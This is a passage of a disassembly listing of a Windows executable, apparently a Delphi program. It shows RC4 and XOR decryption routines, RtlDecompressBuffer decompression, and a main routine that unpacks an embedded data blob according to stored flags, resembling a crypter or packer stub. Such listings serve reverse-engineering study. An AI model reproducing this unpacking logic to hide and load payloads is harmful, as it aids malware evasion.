		sub	ds:dword_4064D8, 1
		retn
sub_4038F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403900	proc near		; CODE XREF: sub_4039AC+C4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403999
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	ecx, eax
		test	ecx, ecx
		jle	short loc_403970
		mov	ebx, 1


loc_403941:				; CODE XREF: sub_403900+57j
		mov	eax, [ebp+var_4]
		mov	al, [eax+ebx-1]
		and	eax, 0FFh
		xor	edx, edx
		add	[ebp+var_10], eax
		adc	[ebp+var_C], edx
		inc	ebx
		dec	ecx
		jnz	short loc_403941
		jmp	short loc_403970
; ---------------------------------------------------------------------------


loc_40395B:				; CODE XREF: sub_403900+7Dj
					; sub_403900:loc_403981j
		push	0
		push	2
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_4025C0
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_403970:				; CODE XREF: sub_403900+3Aj
					; sub_403900+59j
		cmp	[ebp+var_C], 0
		jnz	short loc_403981
		cmp	[ebp+var_10], 0FFh
		ja	short loc_40395B
		jmp	short loc_403983
; ---------------------------------------------------------------------------


loc_403981:				; CODE XREF: sub_403900+74j
		jg	short loc_40395B


loc_403983:				; CODE XREF: sub_403900+7Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4039A0


loc_403990:				; CODE XREF: sub_403900+9Ej
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403999:				; DATA XREF: sub_403900+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_4039A0:				; CODE XREF: sub_403900+98j
					; DATA XREF: sub_403900+8Bo
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403900	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039AC	proc near		; CODE XREF: sub_403B84+50p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403AA8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebx], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+14h], 0
		cmp	[ebp+arg_C], 0
		jnz	short loc_403A03
		cmp	[ebp+arg_8], 1
		jnb	short loc_403A13
		jmp	short loc_403A05
; ---------------------------------------------------------------------------


loc_403A03:				; CODE XREF: sub_4039AC+4Dj
		jge	short loc_403A13


loc_403A05:				; CODE XREF: sub_4039AC+55j
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_C], 0


loc_403A13:				; CODE XREF: sub_4039AC+53j
					; sub_4039AC:loc_403A03j
		cmp	[ebp+arg_C], 0
		jnz	short loc_403A21
		cmp	[ebp+arg_8], 64h
		jbe	short loc_403A31
		jmp	short loc_403A23
; ---------------------------------------------------------------------------


loc_403A21:				; CODE XREF: sub_4039AC+6Bj
		jle	short loc_403A31


loc_403A23:				; CODE XREF: sub_4039AC+73j
		mov	[ebp+arg_8], 63h
		mov	[ebp+arg_C], 0


loc_403A31:				; CODE XREF: sub_4039AC+71j
					; sub_4039AC:loc_403A21j
		cmp	[ebp+arg_4], 0
		jnz	short loc_403A3F
		cmp	[ebp+arg_0], 1
		jnb	short loc_403A4F
		jmp	short loc_403A41
; ---------------------------------------------------------------------------


loc_403A3F:				; CODE XREF: sub_4039AC+89j
		jge	short loc_403A4F


loc_403A41:				; CODE XREF: sub_4039AC+91j
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_4], 0


loc_403A4F:				; CODE XREF: sub_4039AC+8Fj
					; sub_4039AC:loc_403A3Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_403A5D
		cmp	[ebp+arg_0], 64h
		jbe	short loc_403A6D
		jmp	short loc_403A5F
; ---------------------------------------------------------------------------


loc_403A5D:				; CODE XREF: sub_4039AC+A7j
		jle	short loc_403A6D


loc_403A5F:				; CODE XREF: sub_4039AC+AFj
		mov	[ebp+arg_0], 64h
		mov	[ebp+arg_4], 0


loc_403A6D:				; CODE XREF: sub_4039AC+ADj
					; sub_4039AC:loc_403A5Dj
		mov	eax, [ebp+var_4]
		call	sub_403900
		mov	[ebx], eax
		mov	[ebx+4], edx
		mov	eax, [ebp+arg_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_C]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+14h], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403AAF


loc_403A9F:				; CODE XREF: sub_4039AC+101j
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403AA8:				; DATA XREF: sub_4039AC+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403AAF:				; CODE XREF: sub_4039AC+FBj
					; DATA XREF: sub_4039AC+EEo
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4039AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AB8	proc near		; CODE XREF: sub_403B84+5Dp

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [ebp+var_20]
		push	ecx
		mov	ecx, 6
		rep movsd
		pop	ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403B75
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edx, eax
		mov	eax, [ebp+var_8]
		call	sub_402184
		mov	ebx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edi, eax
		test	edi, edi
		jle	short loc_403B5F
		mov	esi, 1


loc_403B13:				; CODE XREF: sub_403AB8+A5j
		mov	eax, ebx
		cdq
		cmp	edx, [ebp+var_C]
		jnz	short loc_403B22
		cmp	eax, [ebp+var_10]
		jbe	short loc_403B27
		jmp	short loc_403B24
; ---------------------------------------------------------------------------


loc_403B22:				; CODE XREF: sub_403AB8+61j
		jle	short loc_403B27


loc_403B24:				; CODE XREF: sub_403AB8+68j
		mov	ebx, [ebp+var_18]


loc_403B27:				; CODE XREF: sub_403AB8+66j
					; sub_403AB8:loc_403B22j
		mov	eax, [ebp+var_8]
		call	sub_4020AC
		lea	eax, [eax+esi-1]
		push	eax
		mov	eax, [ebp+var_4]
		mov	al, [eax+esi-1]
		and	eax, 0FFh
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ebx
		cdq
		add	eax, [ebp+var_20]
		adc	edx, [ebp+var_1C]
		xor	eax, [esp+44h+var_44]
		xor	edx, [esp+44h+var_40]
		add	esp, 8
		pop	edx
		mov	[edx], al
		inc	ebx
		inc	esi
		dec	edi
		jnz	short loc_403B13


loc_403B5F:				; CODE XREF: sub_403AB8+54j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403B7C


loc_403B6C:				; CODE XREF: sub_403AB8+C2j
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403B75:				; DATA XREF: sub_403AB8+28o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403B6C
; ---------------------------------------------------------------------------


loc_403B7C:				; CODE XREF: sub_403AB8+BCj
					; DATA XREF: sub_403AB8+AFo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403AB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B84	proc near		; CODE XREF: CODE:004041AFp
					; CODE:0040463Bp ...

var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		mov	eax, [ebp+var_8]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403C01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edx, eax
		mov	eax, ebx
		call	sub_402184
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_8]
		call	sub_4039AC
		mov	ecx, ebx
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_20]
		call	sub_403AB8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C08


loc_403BF3:				; CODE XREF: sub_403B84+82j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_403C01:				; DATA XREF: sub_403B84+22o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403BF3
; ---------------------------------------------------------------------------


loc_403C08:				; CODE XREF: sub_403B84+7Cj
					; DATA XREF: sub_403B84+6Ao
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_403B84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C10	proc near		; DATA XREF: CODE:00403FB0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403C35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C3C


loc_403C34:				; CODE XREF: sub_403C10+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403C35:				; DATA XREF: sub_403C10+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403C34
; ---------------------------------------------------------------------------


loc_403C3C:				; CODE XREF: sub_403C10:loc_403C34j
					; DATA XREF: sub_403C10+1Fo
		pop	ebp
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C40	proc near		; DATA XREF: CODE:00403FACo
		sub	ds:dword_4064DC, 1
		retn
sub_403C40	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C48	proc near		; CODE XREF: sub_403D98+15p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_401F04
		mov	[esp+1Ch+var_14], eax
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_403C72:				; CODE XREF: sub_403C48+30j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_403C72
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_403C82:				; CODE XREF: sub_403C48+82j
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_403C94
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_403C99
; ---------------------------------------------------------------------------


loc_403C94:				; CODE XREF: sub_403C48+3Ej
		mov	[esp+1Ch+var_17], 0


loc_403C99:				; CODE XREF: sub_403C48+4Aj
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_403CA2
		xor	esi, esi


loc_403CA2:				; CODE XREF: sub_403C48+56j
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_403C82
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CD4	proc near		; CODE XREF: sub_403D98+4Ap
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_4018A8
		retn
sub_403CD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CE4	proc near		; CODE XREF: sub_403D5C+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_403D54
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_403CF9:				; CODE XREF: sub_403CE4+6Ej
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_403CF9


loc_403D54:				; CODE XREF: sub_403CE4+Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_403CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D5C	proc near		; CODE XREF: sub_403D98+32p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	eax, esi
		call	sub_401F04
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_402184
		push	ebx
		mov	eax, edi
		call	sub_4020AC
		push	eax
		mov	eax, esi
		call	sub_402058
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_403CE4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403D5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D98	proc near		; CODE XREF: CODE:00404162p

var_102		= byte ptr -102h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		lea	eax, [ebp+var_102]
		call	sub_403C48
		xor	eax, eax
		push	ebp
		push	offset loc_403DE8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_403D5C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403DEF


loc_403DDC:				; CODE XREF: sub_403D98+55j
		lea	eax, [ebp+var_102]
		call	sub_403CD4
		retn
; ---------------------------------------------------------------------------


loc_403DE8:				; DATA XREF: sub_403D98+1Do
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403DDC
; ---------------------------------------------------------------------------


loc_403DEF:				; CODE XREF: sub_403D98+4Fj
					; DATA XREF: sub_403D98+3Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403D98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF8	proc near		; DATA XREF: CODE:00403FB8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403E1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064E0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403E24


loc_403E1C:				; CODE XREF: sub_403DF8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403E1D:				; DATA XREF: sub_403DF8+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403E1C
; ---------------------------------------------------------------------------


loc_403E24:				; CODE XREF: sub_403DF8:loc_403E1Cj
					; DATA XREF: sub_403DF8+1Fo
		pop	ebp
		retn
sub_403DF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E28	proc near		; DATA XREF: CODE:00403FB4o
		sub	ds:dword_4064E0, 1
		retn
sub_403E28	endp

; [00000006 BYTES: COLLAPSED FUNCTION RtlDecompressBuffer. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E44+25p
		test	eax, eax
		jz	short locret_403E41
		sub	eax, 4
		mov	eax, [eax]

locret_403E41:				; CODE XREF: sub_403E38+2j
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E44	proc near		; CODE XREF: CODE:00404119p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403EF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_403E38
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_403ED4
		lea	eax, [ebp+arg_4]
		call	sub_4020AC
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_402184
		cmp	dword ptr [edi], 80000h
		jbe	short loc_403E99
		mov	[ebp+var_8], 2
		jmp	short loc_403EA0
; ---------------------------------------------------------------------------


loc_403E99:				; CODE XREF: sub_403E44+4Aj
		mov	[ebp+var_8], 102h


loc_403EA0:				; CODE XREF: sub_403E44+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_4020AC
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_4020AC
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_402184
		jmp	short loc_403EDB
; ---------------------------------------------------------------------------


loc_403ED4:				; CODE XREF: sub_403E44+2Fj
		mov	eax, esi
		call	sub_401DC4


loc_403EDB:				; CODE XREF: sub_403E44+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403EF8


loc_403EE8:				; CODE XREF: sub_403E44+B2j
		lea	eax, [ebp+arg_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403EF1:				; DATA XREF: sub_403E44+17o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403EE8
; ---------------------------------------------------------------------------


loc_403EF8:				; CODE XREF: sub_403E44+ACj
					; DATA XREF: sub_403E44+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_403E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F04	proc near		; DATA XREF: CODE:00403FC0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F30


loc_403F28:				; CODE XREF: sub_403F04+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403F29:				; DATA XREF: sub_403F04+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403F28
; ---------------------------------------------------------------------------


loc_403F30:				; CODE XREF: sub_403F04:loc_403F28j
					; DATA XREF: sub_403F04+1Fo
		pop	ebp
		retn
sub_403F04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403F34	proc near		; DATA XREF: CODE:00403FBCo
		sub	ds:dword_4064E4, 1
		retn
sub_403F34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F3C	proc near		; DATA XREF: CODE:00403FC8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F5B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F62


loc_403F5A:				; CODE XREF: sub_403F3C+24j
		retn
; ---------------------------------------------------------------------------


loc_403F5B:				; DATA XREF: sub_403F3C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403F5A
; ---------------------------------------------------------------------------


loc_403F62:				; CODE XREF: sub_403F3C:loc_403F5Aj
					; DATA XREF: sub_403F3C+19o
		pop	ebp
		retn
sub_403F3C	endp

; ---------------------------------------------------------------------------
dword_403F64	dd 0Ch			; DATA XREF: CODE:00403FDEo
		dd offset off_403F6C
off_403F6C	dd offset loc_402A5C	; DATA XREF: CODE:00403F68o
		dd offset sub_402A2C
		dd offset sub_402914
		dd offset sub_4028CC
		dd offset sub_402A94
		dd offset sub_402A64
		dd offset sub_402BBC
		dd offset sub_402B8C
		dd offset sub_402C04
		dd offset sub_402BD4
		dd offset sub_403478
		dd offset sub_403448
		dd offset sub_40362C
		dd offset sub_4035FC
		dd offset sub_4038F8
		dd offset sub_4038C8
		dd offset sub_403C40
		dd offset sub_403C10
		dd offset sub_403E28
		dd offset sub_403DF8
		dd offset sub_403F34
		dd offset sub_403F04
		align 8
		dd offset sub_403F3C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_403FD4:				; CODE XREF: CODE:00403FD9j
		push	0
		push	0
		dec	ecx
		jnz	short loc_403FD4
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_403F64
		call	sub_4029E8
		xor	eax, eax
		push	ebp
		push	offset loc_404813
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, offset dword_404824
		mov	eax, offset dword_406E1C
		call	sub_403368
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_404012
		push	0
		call	ExitProcess_0


loc_404012:				; CODE XREF: CODE:00404009j
		mov	edx, offset dword_40664C
		mov	eax, ebx
		mov	ecx, ds:dword_406E1C
		call	sub_401264
		mov	ds:dword_406E20, 0Ah
		mov	ebx, offset dword_406DCC
		mov	esi, offset dword_406DF4
		mov	edi, offset dword_40664C


loc_40403D:				; CODE XREF: CODE:00404572j
		mov	eax, offset dword_406E24
		mov	edx, 4
		call	sub_402B84
		cmp	dword ptr [ebx], 0
		jz	short loc_404055
		xor	eax, eax
		mov	[ebx], eax


loc_404055:				; CODE XREF: CODE:0040404Fj
		mov	edx, edi
		mov	eax, esi
		call	sub_403368
		mov	[ebx], eax
		cmp	dword ptr [ebx], 0
		jz	loc_404560
		mov	eax, offset dword_406E24
		mov	edx, [esi]
		call	sub_402184
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, [ebx]
		mov	ecx, [esi]
		call	sub_401264
		mov	eax, edi
		mov	ds:dword_406F84, eax
		lea	edx, [ebp-14h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-14h]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		cmp	al, 1
		jnz	short loc_4040DC
		mov	eax, ds:dword_406F80
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ds:dword_406F84
		mov	edx, [eax+0BCh]
		mov	eax, [eax+0B8h]
		cmp	edx, [esp+4]
		jnz	short loc_4040D4
		cmp	eax, [esp]


loc_4040D4:				; CODE XREF: CODE:004040CFj
		pop	edx
		pop	eax
		jnz	loc_404560


loc_4040DC:				; CODE XREF: CODE:004040AFj
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+0A2h], 0
		jz	short loc_404104
		lea	edx, [ebp-18h]
		mov	eax, ds:dword_406E24
		call	sub_403168
		mov	edx, [ebp-18h]
		mov	eax, offset dword_406E24
		call	sub_401E18


loc_404104:				; CODE XREF: CODE:004040E8j
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+6Ah], 0
		jz	short loc_40412B
		mov	eax, ds:dword_406E24
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_403E44
		mov	edx, [ebp-1Ch]
		mov	eax, offset dword_406E24
		call	sub_401E18


loc_40412B:				; CODE XREF: CODE:0040410Dj
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+48h], 0
		jz	short loc_4041B4
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+49h], 0
		jz	short loc_404176
		lea	eax, [ebp-24h]
		mov	edx, ds:dword_406F84
		add	edx, 60h
		mov	ecx, 0Ah
		call	sub_401EEC
		mov	edx, [ebp-24h]
		lea	ecx, [ebp-20h]
		mov	eax, ds:dword_406E24
		call	sub_403D98
		mov	edx, [ebp-20h]
		mov	eax, offset dword_406E24
		call	sub_401E18
		jmp	short loc_4041B4
; ---------------------------------------------------------------------------


loc_404176:				; CODE XREF: CODE:0040413Fj
		mov	eax, ds:dword_406F84
		push	dword ptr [eax+5Ch]
		push	dword ptr [eax+58h]
		mov	eax, ds:dword_406F84
		push	dword ptr [eax+54h]
		push	dword ptr [eax+50h]
		lea	eax, [ebp-28h]
		mov	edx, ds:dword_406F84
		add	edx, 60h
		mov	ecx, 0Ah
		call	sub_401EEC
		mov	edx, [ebp-28h]
		mov	ecx, offset dword_406E24
		mov	eax, ds:dword_406E24
		call	sub_403B84


loc_4041B4:				; CODE XREF: CODE:00404134j
					; CODE:00404174j
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+0B0h], 0
		jz	loc_404377
		lea	edx, [ebp-2Ch]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-2Ch]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		test	al, al
		jnz	loc_404348
		call	sub_401410
		lea	edx, [ebp-30h]
		mov	eax, offset dword_404830
		call	sub_4033B0
		push	dword ptr [ebp-30h]
		push	offset dword_40483C
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-34h]
		call	sub_4030FC
		push	dword ptr [ebp-34h]
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-38h]
		call	sub_4030FC
		push	dword ptr [ebp-38h]
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-3Ch]
		call	sub_4030FC
		push	dword ptr [ebp-3Ch]
		push	offset dword_404848
		mov	eax, offset dword_406F74
		mov	edx, 6
		call	sub_401FC4
		push	offset dword_406E24
		mov	eax, ds:dword_406E24
		call	sub_401F04
		cdq
		push	edx
		push	eax
		mov	eax, ds:dword_406F84
		mov	edx, [eax+0BCh]
		mov	eax, [eax+0B8h]
		sub	[esp], eax
		sbb	[esp+4], edx
		pop	eax
		pop	edx
		add	eax, 1
		adc	edx, 0
		push	eax
		mov	eax, ds:dword_406F84
		mov	eax, [eax+0B8h]
		mov	ecx, eax
		mov	eax, ds:dword_406E24
		pop	edx
		call	sub_4020B4
		lea	edx, [ebp-44h]
		xor	eax, eax
